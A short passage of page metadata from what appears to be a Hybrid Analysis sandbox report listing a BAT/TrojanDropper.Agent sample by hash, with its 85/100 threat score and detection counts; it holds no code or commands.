reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/feda854ecc1a6a8c56fb765c2964a5b2a9dbf1cff7ef9149b4e576d4a96e5269"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious BAT/TrojanDropper.Agent Sample feda854ecc1a… — Score 85/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample feda854ecc1a…. Malware family: BAT/TrojanDropper.Agent. Threat score 85/100. 1/26 AV engines flagged this file. 7 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L55","11",{}]]